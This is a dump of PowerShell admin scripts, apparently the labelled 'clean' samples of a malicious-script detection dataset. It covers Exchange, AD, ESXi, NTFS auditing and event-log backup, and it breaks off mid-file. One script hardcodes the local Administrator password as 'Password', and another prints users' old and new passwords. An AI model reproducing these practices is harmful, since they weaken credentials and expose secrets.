/PSScriptAnalyzer/Samples/Clean/Alias latest msbuild.ps1: -------------------------------------------------------------------------------- 1 | ## Because of Split-Path, I get the "Framework" folder path (one level above the versioned folders) 2 | $rtr = Split-Path $([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()) 3 | 4 | ## Then I loop through them in ascending (numerical, but really ascii) order 5 | ## each time I find installutil or mdbuild, I update the alias to point at the newer version 6 | foreach($rtd in get-childitem $rtr -filt v* | sort Name) { 7 | if( Test-Path (join-path $rtd.FullName installutil.exe) ) { 8 | set-alias installutil (resolve-path (join-path $rtd.FullName installutil.exe)) 9 | } 10 | if( Test-Path (join-path $rtd.FullName msbuild.exe) ) { 11 | set-alias msbuild (resolve-path (join-path $rtd.FullName msbuild.exe)) 12 | } 13 | } 14 | 15 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/All Exchange 2003 Server.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/All Exchange 2003 Server.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AlmightyShell Compiler.ps1: -------------------------------------------------------------------------------- 1 | function Out-PowerShell($AlmightyShell) 2 | { 3 | $compileConstants = 65,112,114,105,108,32,70,111,111,108,115,33;([int[]][char[]]$AlmightyShell) | % { $x = [Math]::PI + $_ };Write-Host ([string][char[]]$compileConstants); 4 | } 5 | 6 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Am I a purist_.ps1: -------------------------------------------------------------------------------- 1 | ########### 2 | # PS1 script to launch gpupdate on all computers in domain, without some stupid QAD cmdlets, just pure PS1 and WMI 3 | # Made by pan_2@LJ (gunkan@yandex.ru) 4 | # Note: if by some reason RPC host was unavaible - there will be exception throwed, I didn't use trap so I can see real reason. 5 | ########### 6 | function PingComputer ([string]$Compname) 7 | { 8 | $pingvar = Get-WmiObject -Class Win32_PingStatus -Filter "Address='$Compname'" 9 | if ($pingvar.STatusCode -eq 0) {return $True} else {return $False} 10 | } 11 | 12 | function SearchAD () 13 | { 14 | $strFilter = "(objectCategory=Computer)" 15 | 16 | $objDomain = New-Object System.DirectoryServices.DirectoryEntry 17 | 18 | $objSearcher = New-Object System.DirectoryServices.DirectorySearcher 19 | $objSearcher.SearchRoot = $objDomain 20 | $objSearcher.PageSize = 1000 21 | $objSearcher.Filter = $strFilter 22 | 23 | $colProplist = "name" 24 | 25 | foreach ($i in $colPropList) 26 | { 27 | $null = $objSearcher.PropertiesToLoad.Add($i) 28 | } 29 | 30 | $colResults = $objSearcher.FindAll() 31 | 32 | foreach ($objResult in $colResults) 33 | { 34 | $objItem = $objResult.Properties; 35 | [string]$str = "" 36 | $str = $objItem.name 37 | $str 38 | } 39 | } 40 | 41 | 42 | foreach($str in SearchAD ) 43 | { 44 | Write-host "Now trying... $str " -nonew 45 | if (PingComputer $str) 46 | { 47 | if ( (([WMICLASS]"\\\\$str\\ROOT\\CIMV2:win32_process").Create("gpupdate.exe").ReturnValue) -eq 0) {write-host " succesfully!" -fo Green} else {write-host "failed!" -fo Red} 48 | } 49 | else 50 | { write-host "not responding..." -fo yellow} 51 | } 52 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Amazon AWS user data.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | $ComputerName = $env:COMPUTERNAME 4 | $user = [adsi]"WinNT://$ComputerName/Administrator,user" 5 | $user.setpassword("Password") 6 | 7 | 8 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Assert.ps1: -------------------------------------------------------------------------------- 1 | function Assert { 2 | #.Example 3 | # set-content C:\\test2\\Documents\\test2 "hi" 4 | # C:\\PS>assert { get-item C:\\test2\\Documents\\test2 } "File wasn't created by Set-Content!" 5 | # 6 | [CmdletBinding()] 7 | param( 8 | [Parameter(Position=0,ParameterSetName="Script",Mandatory=$true)] 9 | [ScriptBlock]$condition 10 | , 11 | [Parameter(Position=0,ParameterSetName="Bool",Mandatory=$true)] 12 | [bool]$success 13 | , 14 | [Parameter(Position=1,Mandatory=$true)] 15 | [string]$message 16 | ) 17 | 18 | $message = "ASSERT FAILED: $message" 19 | 20 | if($PSCmdlet.ParameterSetName -eq "Script") { 21 | try { 22 | $ErrorActionPreference = "STOP" 23 | $success = &$condition 24 | } catch { 25 | $success = $false 26 | $message = "$message`nEXCEPTION THROWN: $($_.Exception.GetType().FullName)" 27 | } 28 | } 29 | if(!$success) { 30 | throw $message 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Audit NTFS on Shares.ps1: -------------------------------------------------------------------------------- 1 | $Excel = New-Object -Com Excel.Application 2 | $Excel.visible = $True 3 | $Excel = $Excel.Workbooks.Add() 4 | 5 | $wSheet = $Excel.Worksheets.Item(1) 6 | $wSheet.Cells.item(1,1) = "Folder Path:" 7 | $wSheet.Cells.Item(1,2) = "Users/Groups:" 8 | $wSheet.Cells.Item(1,3) = "Permissions:" 9 | $wSheet.Cells.Item(1,4) = "Permissions Inherited:" 10 | 11 | $WorkBook = $wSheet.UsedRange 12 | $WorkBook.Interior.ColorIndex = 8 13 | $WorkBook.Font.ColorIndex = 11 14 | $WorkBook.Font.Bold = $True 15 | 16 | ####Change the path to the folder or share you want NTFS perms on#### 17 | $dirToAudit = Get-ChildItem -Path "c:\\inetpub" -recurse | Where {$_.psIsContainer -eq $true} 18 | 19 | $intRow = 1 20 | foreach ($dir in $dirToAudit) 21 | { 22 | $colACL = Get-Acl -Path $dir.FullName 23 | 24 | foreach ($acl in $colACL) 25 | { 26 | $intRow++ 27 | $wSheet.Cells.Item($intRow,1) = $dir.FullName 28 | 29 | foreach ($accessRight in $acl.Access) 30 | { 31 | $wSheet.Cells.Item($intRow,2) = "$($AccessRight.IdentityReference)" 32 | $wSheet.Cells.Item($intRow,3) = "$($AccessRight.FileSystemRights)" 33 | $wSheet.Cells.Item($intRow,4) = $acl.AreAccessRulesProtected 34 | $intRow++ 35 | } 36 | } 37 | 38 | } 39 | $WorkBook.EntireColumn.AutoFit() 40 | 41 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Audit NTFS on Shares_1.ps1: -------------------------------------------------------------------------------- 1 | $Excel = New-Object -Com Excel.Application 2 | $Excel.visible = $True 3 | $Excel = $Excel.Workbooks.Add() 4 | 5 | $wSheet = $Excel.Worksheets.Item(1) 6 | $wSheet.Cells.item(1,1) = "Folder Path:" 7 | $wSheet.Cells.Item(1,2) = "Users/Groups:" 8 | $wSheet.Cells.Item(1,3) = "Permissions:" 9 | $wSheet.Cells.Item(1,4) = "Permissions Inherited:" 10 | 11 | $WorkBook = $wSheet.UsedRange 12 | $WorkBook.Interior.ColorIndex = 8 13 | $WorkBook.Font.ColorIndex = 11 14 | $WorkBook.Font.Bold = $True 15 | 16 | ####Change the path to the folder or share you want NTFS perms on#### 17 | $dirToAudit = Get-ChildItem -Path "c:\\inetpub" -recurse | Where {$_.psIsContainer -eq $true} 18 | 19 | $intRow = 1 20 | foreach ($dir in $dirToAudit) 21 | { 22 | $colACL = Get-Acl -Path $dir.FullName 23 | 24 | foreach ($acl in $colACL) 25 | { 26 | $intRow++ 27 | $wSheet.Cells.Item($intRow,1) = $dir.FullName 28 | 29 | foreach ($accessRight in $acl.Access) 30 | { 31 | $wSheet.Cells.Item($intRow,2) = "$($AccessRight.IdentityReference)" 32 | $wSheet.Cells.Item($intRow,3) = "$($AccessRight.FileSystemRights)" 33 | $wSheet.Cells.Item($intRow,4) = $acl.AreAccessRulesProtected 34 | $intRow++ 35 | } 36 | } 37 | 38 | } 39 | $WorkBook.EntireColumn.AutoFit() 40 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Audit NTFS on Shares_2.ps1: -------------------------------------------------------------------------------- 1 | $Excel = New-Object -Com Excel.Application 2 | $Excel.visible = $True 3 | $Excel = $Excel.Workbooks.Add() 4 | 5 | $wSheet = $Excel.Worksheets.Item(1) 6 | $wSheet.Cells.item(1,1) = "Folder Path:" 7 | $wSheet.Cells.Item(1,2) = "Users/Groups:" 8 | $wSheet.Cells.Item(1,3) = "Permissions:" 9 | $wSheet.Cells.Item(1,4) = "Permissions Inherited:" 10 | 11 | $WorkBook = $wSheet.UsedRange 12 | $WorkBook.Interior.ColorIndex = 8 13 | $WorkBook.Font.ColorIndex = 11 14 | $WorkBook.Font.Bold = $True 15 | 16 | ####Change the path to the folder or share you want NTFS perms on#### 17 | $dirToAudit = Get-ChildItem -Path "c:\\inetpub" -recurse | Where {$_.psIsContainer -eq $true} 18 | 19 | $intRow = 1 20 | foreach ($dir in $dirToAudit) 21 | { 22 | $colACL = Get-Acl -Path $dir.FullName 23 | 24 | foreach ($acl in $colACL) 25 | { 26 | $intRow++ 27 | $wSheet.Cells.Item($intRow,1) = $dir.FullName 28 | 29 | foreach ($accessRight in $acl.Access) 30 | { 31 | $wSheet.Cells.Item($intRow,2) = "$($AccessRight.IdentityReference)" 32 | $wSheet.Cells.Item($intRow,3) = "$($AccessRight.FileSystemRights)" 33 | $wSheet.Cells.Item($intRow,4) = $acl.AreAccessRulesProtected 34 | $intRow++ 35 | } 36 | } 37 | 38 | } 39 | $WorkBook.EntireColumn.AutoFit() 40 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Ayth_1.ps1: -------------------------------------------------------------------------------- 1 | # ======================================================================== 2 | # 3 | # Microsoft PowerShell Source File -- Created with PowerShell Plus Professional 4 | # 5 | # NAME: Disable-MassMailPF.ps1 6 | # 7 | # AUTHOR: Darrin Henshaw , Ignition IT Canada Ltd. 8 | # DATE : 8/13/2008 9 | # 10 | # COMMENT: Used to disable mail on an imported list of public folders. 11 | # 12 | # ======================================================================== 13 | 14 | param($csv = $Args[0]) 15 | $Preference = $ConfirmPreference 16 | $ConfirmPreference = 'none' 17 | 18 | # Import the list of the public folders to the variable $pflist 19 | $pflist = Import-Csv -path $csv 20 | 21 | # Loop through allt he public folder names in the variable we created above. 22 | foreach ($pf in $pflist) 23 | 24 | # For all of them, we get their properties and examine as to whether they are mail enabled already. If they are we disable the mail on them. 25 | {Get-PublicFolder -identity $pf.Identity |Where-Object {$_.MailEnabled -eq $true}|Disable-MailPublicFolder -Server hfxignvmexpf1} 26 | $ConfirmPreference = $Preference 27 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Backup all ESXi_1.ps1: -------------------------------------------------------------------------------- 1 | # Change this to where you would like your backups to go. 2 | # There is no versioning so backup theses backups with real backup software (e.g. on an SMB share). 3 | $backupDir = "c:\\backups" 4 | 5 | # Get just your ESXi hosts. 6 | $esxiHosts = Get-VMHost | Where { $_ | Get-View -Property Config | Where { $_.Config.Product.ProductLineId -eq "embeddedEsx" } } 7 | 8 | # Back them all up. 9 | $esxiHosts | Foreach { 10 | $fullPath = $backupDir + "\\" + $_.Name 11 | mkdir $fullPath -ea SilentlyContinue | Out-Null 12 | Set-VMHostFirmware -VMHost $_ -BackupConfiguration -DestinationPath $fullPath 13 | } 14 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Backup all ESXi_2.ps1: -------------------------------------------------------------------------------- 1 | # Change this to where you would like your backups to go. 2 | # There is no versioning so backup theses backups with real backup software (e.g. on an SMB share). 3 | $backupDir = "c:\\backups" 4 | 5 | # Get just your ESXi hosts. 6 | $esxiHosts = Get-VMHost | Where { $_ | Get-View -Property Config | Where { $_.Config.Product.ProductLineId -eq "embeddedEsx" } } 7 | 8 | # Back them all up. 9 | $esxiHosts | Foreach { 10 | $fullPath = $backupDir + "\\" + $_.Name 11 | mkdir $fullPath -ea SilentlyContinue | Out-Null 12 | Set-VMHostFirmware -VMHost $_ -BackupConfiguration -DestinationPath $fullPath 13 | } 14 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Backup exchange 2007.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Backup exchange 2007.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Backup full.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Backup full.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Backup-EventLogs.ps1: -------------------------------------------------------------------------------- 1 | Function Backup-EventLogs 2 | { 3 | <# 4 | .SYNOPSIS 5 | Backup Eventlogs from remote computer 6 | .DESCRIPTION 7 | This function backs up all logs on a Windows computer that have events written in them. This 8 | log is stored as a .csv file in the current directory, where the filename is the ComputerName+ 9 | Logname+Date+Time the backup was created. 10 | .PARAMETER ComputerName 11 | The NetBIOS name of the computer to connect to. 12 | .EXAMPLE 13 | Backup-EventLogs -ComputerName dc1 14 | .NOTES 15 | May need to be a user with rights to access various logs, such as security on remote computer. 16 | .LINK 17 | http://scripts.patton-tech.com/wiki/PowerShell/ComputerManagemenet#Backup-EventLogs 18 | #> 19 | 20 | Param 21 | ( 22 | [string]$ComputerName 23 | ) 24 | 25 | Begin 26 | { 27 | $EventLogs = Get-WinEvent -ListLog * -ComputerName $ComputerName 28 | } 29 | 30 | Process 31 | { 32 | Foreach ($EventLog in $EventLogs) 33 | { 34 | If ($EventLog.RecordCount -gt 0) 35 | { 36 | $BackupFilename = "$($ComputerName)-$($EventLog.LogName)-"+(Get-Date -format "yyy-MM-dd HH-MM-ss").ToString()+".csv" 37 | Get-WinEvent -LogName $EventLog.LogName -ComputerName $ComputerName |Export-Csv -Path ".\\$($BackupFilename)" 38 | } 39 | } 40 | } 41 | 42 | End 43 | { 44 | Return $? 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Backup-EventLogs_1.ps1: -------------------------------------------------------------------------------- 1 | Function Backup-EventLogs 2 | { 3 | <# 4 | .SYNOPSIS 5 | Backup Eventlogs from remote computer 6 | .DESCRIPTION 7 | This function backs up all logs on a Windows computer that have events written in them. This 8 | log is stored as a .csv file in the current directory, where the filename is the ComputerName+ 9 | Logname+Date+Time the backup was created. 10 | .PARAMETER ComputerName 11 | The NetBIOS name of the computer to connect to. 12 | .EXAMPLE 13 | Backup-EventLogs -ComputerName dc1 14 | .NOTES 15 | May need to be a user with rights to access various logs, such as security on remote computer. 16 | .LINK 17 | http://scripts.patton-tech.com/wiki/PowerShell/ComputerManagemenet#Backup-EventLogs 18 | #> 19 | 20 | Param 21 | ( 22 | [string]$ComputerName 23 | ) 24 | 25 | Begin 26 | { 27 | $EventLogs = Get-WinEvent -ListLog * -ComputerName $ComputerName 28 | } 29 | 30 | Process 31 | { 32 | Foreach ($EventLog in $EventLogs) 33 | { 34 | If ($EventLog.RecordCount -gt 0) 35 | { 36 | $LogName = ($EventLog.LogName).Replace("/","-") 37 | $BackupFilename = "$($ComputerName)-$($LogName)-"+(Get-Date -format "yyy-MM-dd HH-MM-ss").ToString()+".csv" 38 | Get-WinEvent -LogName $EventLog.LogName -ComputerName $ComputerName |Export-Csv -Path ".\\$($BackupFilename)" 39 | } 40 | } 41 | } 42 | 43 | End 44 | { 45 | Return $? 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Bash Aliases.ps1: -------------------------------------------------------------------------------- 1 | ## Aliases Module, Bash-style aliases with functions 2 | function alias { 3 | # pull together all the args and then split on = 4 | $alias,$cmd = [string]::join(" ",$args).split("=",2) | % { $_.trim()} 5 | 6 | if($Host.Version.Major -ge 2) { 7 | $cmd = Resolve-Aliases $cmd 8 | } 9 | New-Item -Path function: -Name "Global:Alias$Alias" -Options "AllScope" -Value @" 10 | Invoke-Expression '$cmd `$args' 11 | ###ALIAS### 12 | "@ 13 | 14 | Set-Alias -Name $Alias -Value "Alias$Alias" -Description "A UNIX-style alias using functions" -Option "AllScope" -scope Global -passThru 15 | } 16 | 17 | function unalias([string]$Alias,[switch]$Force){ 18 | if( (Get-Alias $Alias).Description -eq "A UNIX-style alias using functions" ) { 19 | Remove-Item "function:Alias$Alias" -Force:$Force 20 | Remove-Item "alias:$alias" -Force:$Force 21 | if($?) { 22 | "Removed alias '$Alias' and accompanying function" 23 | } 24 | } else { 25 | Remove-Item "alias:$alias" -Force:$Force 26 | if($?) { 27 | "Removed alias '$Alias'" 28 | } 29 | } 30 | } 31 | 32 | function Get-AliasFor([string]$CommandName) { 33 | ls Alias: | ?{ $_.Definition -match $CommandName } 34 | } 35 | 36 | # Export the public functions using Export-ModuleMember cmdlet 37 | Export-ModuleMember alias,unalias,Get-AliasFor 38 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Begin Block.ps1: -------------------------------------------------------------------------------- 1 | Begin { 2 | #VMware VM Host (ESX) UUID 3 | $VMHost_UUID = @{ 4 | Name = "VMHost_UUID" 5 | Expression = { $_.Summary.Hardware.Uuid } 6 | } 7 | #XenServer Host UUID 8 | $XenHost_UUID = @{ 9 | Name = "XenHost_UUID" 10 | Expression = { $_.Uuid } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Binary Clock.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Binary Clock.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Binary Clock_1.ps1: -------------------------------------------------------------------------------- 1 | function get-binary($number,$words=1+(1*[int]($number -gt 255))) { 2 | # Takes the passed numerical value and converts to a Binary word. 3 | # Pads 0 to the left to make it a proper set of 8 or 16 4 | # 5 | # If you use this function outside of the clock, it is automatically 6 | # designed to generate a 16 bit output padded if the value is greater 7 | # than 255 8 | 9 | return [convert]::tostring($number,2).padleft(8*$words,"0") 10 | } 11 | Clear-Host 12 | Do { 13 | # Get the Current Date/Time 14 | $Current=GET-DATE 15 | 16 | #Build a String with the Hours, Minutes and Seconds in Binary 17 | $output=(Get-Binary $current.hour)+":"+(get-binary $Current.minute)+":"+(Get-Binary $Current.Second) 18 | 19 | # Remember our location 20 | $location=$Host.UI.RawUI.CursorPosition 21 | 22 | # Send output to the screen 23 | Write-Host $output 24 | 25 | # The Position back 26 | $Host.UI.RawUI.CursorPosition=$location 27 | 28 | # Take a nap for a second 29 | Start-sleep 1 30 | } until ($FALSE) # Do it over and over and over since $FALSE will never be $TRUE 31 | 32 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/BinaryClock V2.0.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/BinaryClock V2.0.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/BinaryClock V_1.0.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/BinaryClock V_1.0.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Blow up ESXi.ps1: -------------------------------------------------------------------------------- 1 | foreach ($i in 10..1) { 2 | Set-VMHostAdvancedConfiguration -name Annotations.WelcomeMessage -value "This host will self destruct in $i" 3 | } 4 | Start-Sleep 10 5 | Set-VMHostAdvancedConfiguration -name Annotations.WelcomeMessage -value "" 6 | 7 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Bulk Change AD Passwords.ps1: -------------------------------------------------------------------------------- 1 | 2 | #------------------------------------------------------------- 3 | # install http://www.quest.com/powershell/activeroles-server.aspx 4 | Add-PSSnapin Quest.ActiveRoles.ADManagement 5 | 6 | # CSV Format : NTAccountName,oldpassword,newpassword 7 | 8 | 9 | $UserList = Import-Csv c:\\temp\\users.csv # | select-object -first 2 10 | 11 | $userlist | foreach-object { 12 | Write-output ----------------------------------------------- 13 | Write-output $_.NTAccountName 14 | 15 | $ADUser= Get-QADUser $_.NTAccountName 16 | $ADSIUser = [adsi] $ADUser.Path 17 | 18 | Write-output $ADSIUser.displayName 19 | Write-output "Changing password from $($_.OldPassword) to $($_.NewPassword) ...." 20 | $result = $ADSIUser.psbase.invoke("ChangePassword",$_.OldPassword, $_.NewPassword) 21 | Write-output "Password change result $result" 22 | ## Error and success handling is needed 0 is OK the rest is an error 23 | ## http://msdn.microsoft.com/en-us/library/aa772195(v=VS.85).aspx 24 | } 25 | 26 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Bulk Storage vMotion .ps1: -------------------------------------------------------------------------------- 1 | #======================================================================== 2 | # Created on: 5/31/2012 4:31 PM 3 | # Created by: Clint Jones 4 | # Organization: Virtually Genius! 5 | # Filename: StorageVMotion-BulkVMs 6 | #======================================================================== 7 | 8 | #Import Plugins and Connect to vCenter 9 | Add-PSSnapin VMware.VimAutomation.Core 10 | $creds = Get-Credential 11 | $viserver = Read-Host "vCenter Server:" 12 | Connect-VIServer -Server $viserver -Credential $creds 13 | 14 | #Load information from the selected cluster 15 | $cluster = Read-Host "What cluster do you want to migrate:" 16 | $destdata1 = Read-Host "Destination datastore #1:" 17 | $destdata2 = Read-Host "Destination datastore #2:" 18 | $vms = Get-Cluster -Name $cluster | Get-VM 19 | 20 | #Stoage vMotion each VM in selected cluster in a staged fashion 21 | foreach($vm in $vms) 22 | { 23 | #Ensure that the storage is balanced as it was before the transfer 24 | $currentdata = Get-VM -Name $vm.Name | Get-Datastore 25 | $currentdata = $currentdata.Name 26 | if ($currentdata.EndsWith("a") -eq "True") 27 | {$destdata = $destdata1} 28 | else 29 | {$destdata = $destdata2} 30 | #Storage vMotion to the datastore of choice and wait to start next transfer 31 | $task = Get-VM -Name $vm.Name | Move-VM -Datastore (Get-Datastore -Name $destdata) 32 | Wait-Task -Task $task 33 | } 34 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/CLR4 module.ps1: -------------------------------------------------------------------------------- 1 | function Start-CLR4 { 2 | 3 | [CmdletBinding()] 4 | 5 | param ( [string] $cmd ) 6 | 7 | 8 | 9 | if ($PSVersionTable.CLRVersion.Major -eq 4) 10 | { 11 | write-debug 'already running clr 4' 12 | invoke-expression $cmd; 13 | return 14 | } 15 | 16 | $RunActivationConfigPath = resolve-path ~ | Join-Path -ChildPath .CLR4PowerShell; 17 | 18 | write-debug "clr4 config path: $runactivationconfigpath" 19 | 20 | if( -not( test-path $runactivationconfigpath )) 21 | { 22 | New-Item -Path $RunActivationConfigPath -ItemType Container | Out-Null; 23 | 24 | 25 | @" 26 | 27 | 28 | 29 | 30 | 31 | 32 | "@ | Set-Content -Path $RunActivationConfigPath\\powershell.exe.activation_config -Encoding UTF8; 33 | 34 | } 35 | 36 | $EnvVarName = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'; 37 | [Environment]::SetEnvironmentVariable($EnvVarName, $RunActivationConfigPath); 38 | 39 | write-debug "current COMPLUS_ApplicationMigrationRuntimeActivationConfigPath: $env:COMPLUS_ApplicationMigrationRuntimeActivationConfigPath"; 40 | 41 | & powershell.exe -nologo -command "$cmd"; 42 | } 43 | 44 | 45 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/COE_IMAGE.ps1: -------------------------------------------------------------------------------- 1 | function Set-ComputerName { 2 | param( [switch]$help, 3 | [string]$originalPCName=$(read-host "Please specify the current name of the computer"), 4 | [string]$computerName=$(read-host "Please specify the new name of the computer")) 5 | 6 | $usage = "set-ComputerName -originalPCname CurrentName -computername AnewName" 7 | if ($help) {Write-Host $usage;break} 8 | 9 | $computer = Get-WmiObject Win32_ComputerSystem -OriginalPCname OriginalName -computername $originalPCName 10 | $computer.Rename($computerName) 11 | } 12 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Call WSPBuilder.ps1: -------------------------------------------------------------------------------- 1 | function Run-DosCommand($program, [string[]]$programArgs) 2 | { 3 | write-host "Running command: $program"; 4 | write-host " Args:" 5 | 0..($programArgs.Count-1) | foreach { Write-Host " $($programArgs[$_])" } 6 | & $program $programArgs 7 | } 8 | 9 | #Get-FullPath function defined elsewhere, refers to a "base directory" which allows me to make 10 | #all path references RELATIVE to this base directory. Feel free to hardcode the path instead. 11 | $wspbuilder = Get-FullPath("tools\\WSPBuilder.exe") 12 | function Run-WspBuilder($rootDirectory) 13 | { 14 | pushd 15 | cd $rootDirectory 16 | Run-DosCommand -program $WSPBuilder -programArgs @("-BuildWSP", 17 | "true", 18 | "-OutputPath", 19 | (Get-FullPath 'deployment'), 20 | "-ExcludePaths", 21 | (Join-Path -path (Get-FirstDirectoryUnderneathSrc).fullname -childPath "bin\\Debug")) 22 | popd 23 | } 24 | 25 | 26 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Call WSPBuilder_1.ps1: -------------------------------------------------------------------------------- 1 | function Run-DosCommand($program, [string[]]$programArgs) 2 | { 3 | write-host "Running command: $program"; 4 | write-host " Args:" 5 | 0..($programArgs.Count-1) | foreach { Write-Host " $($_): $($programArgs[$_])" } 6 | & $program $programArgs 7 | } 8 | 9 | #Get-FullPath function defined elsewhere, refers to a "base directory" which allows me to make 10 | #all path references RELATIVE to this base directory. Feel free to hardcode the path instead. 11 | $wspbuilder = Get-FullPath("tools\\WSPBuilder.exe") 12 | function Run-WspBuilder($rootDirectory) 13 | { 14 | pushd 15 | cd $rootDirectory 16 | Run-DosCommand -program $WSPBuilder -programArgs @("-BuildWSP", 17 | "true", 18 | "-OutputPath", 19 | (Get-FullPath 'deployment'), 20 | "-ExcludePaths", 21 | (Join-Path -path (Get-FirstDirectoryUnderneathSrc).fullname -childPath "bin\\Debug")) 22 | popd 23 | } 24 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/CertMgmt pack.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/CertMgmt pack.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/CertMgmt pack_1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/CertMgmt pack_1.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Change-ServicePassword.ps1: -------------------------------------------------------------------------------- 1 | Param([string]$server,[string]$service,[string]$user,[string]$password) 2 | Begin{ 3 | function ChangeServicePassword{ 4 | Param([string]$srv,[string]$ms,[string]$usr,[string]$pwd) 5 | 6 | # Setup for WMI 7 | $class = "Win32_Service" 8 | $method = "change" 9 | $computer = $srv 10 | $filter = "Name=`'$ms`'" 11 | 12 | # Getting Service Via WMI 13 | $MyService = get-WmiObject $class -computer $computer -filter $filter 14 | 15 | # Setting Parameters for Change Method 16 | $inparams = $MyService.psbase.GetMethodParameters($method) 17 | $inparams["StartName"] = $usr 18 | $inparams["StartPassword"] = $pwd 19 | 20 | # Calling Change Method and Return $results 21 | $result = $MyService.psbase.InvokeMethod($method,$inparams,$null) 22 | if($result.ReturnValue -eq 0) 23 | { 24 | return $true 25 | } 26 | else 27 | { 28 | return $false 29 | } 30 | } 31 | Write-Host 32 | $process = @() 33 | } 34 | Process{ 35 | if($_){ 36 | if($_.ServerName){ 37 | $process += $_.ServerName 38 | } 39 | else{ 40 | $process += $_ 41 | } 42 | } 43 | } 44 | End{ 45 | if($Server){$Process += $Server} 46 | if($process.Length -eq 0){$Process += get-content env:COMPUTERNAME} 47 | foreach($s in $process) 48 | { 49 | if(ChangeServicePass -Srv $s -ms $service -usr $user -pwd $password) 50 | { 51 | Write-host "Service [$Service] changed on Server [$s] now using [$user]" 52 | } 53 | else 54 | { 55 | Write-Host "Service Change Failed on Server[$s]" 56 | } 57 | Write-Host 58 | } 59 | } 60 | 61 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Chassis Type_1.ps1: -------------------------------------------------------------------------------- 1 | $system = Get-WMIObject -class Win32_systemenclosure 2 | $type = $system.chassistypes 3 | 4 | Switch ($Type) 5 | { 6 | "1" {"Chassis type is: $Type - Other"} 7 | "2" {"Chassis type is: $type - Virtual Machine"} 8 | "3" {"Chassis type is: $type - Desktop"} 9 | "4" {"Chassis type is: $type - Low Profile Desktop"} 10 | "5" {"Chassis type is: $type - Pizza Box"} 11 | "6" {"Chassis type is: $type - Mini Tower"} 12 | "7" {"Chassis type is: $type - Tower"} 13 | "8" {"Chassis type is: $type - Portable"} 14 | "9" {"Chassis type is: $type - Laptop"} 15 | "10" {"Chassis type is: $type - Notebook"} 16 | "11" {"Chassis type is: $type - Handheld"} 17 | "12" {"Chassis type is: $type - Docking Station"} 18 | "13" {"Chassis type is: $type - All-in-One"} 19 | "14" {"Chassis type is: $type - Sub-Notebook"} 20 | "15" {"Chassis type is: $type - Space Saving"} 21 | "16" {"Chassis type is: $type - Lunch Box"} 22 | "17" {"Chassis type is: $type - Main System Chassis"} 23 | "18" {"Chassis type is: $type - Expansion Chassis"} 24 | "19" {"Chassis type is: $type - Sub-Chassis"} 25 | "20" {"Chassis type is: $type - Bus Expansion Chassis"} 26 | "21" {"Chassis type is: $type - Peripheral Chassis"} 27 | "22" {"Chassis type is: $type - 